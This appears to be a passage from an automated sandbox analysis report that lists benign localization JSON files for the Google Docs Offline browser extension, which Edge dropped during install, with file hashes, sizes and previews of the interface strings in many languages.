"Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Reputation:	unknown
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
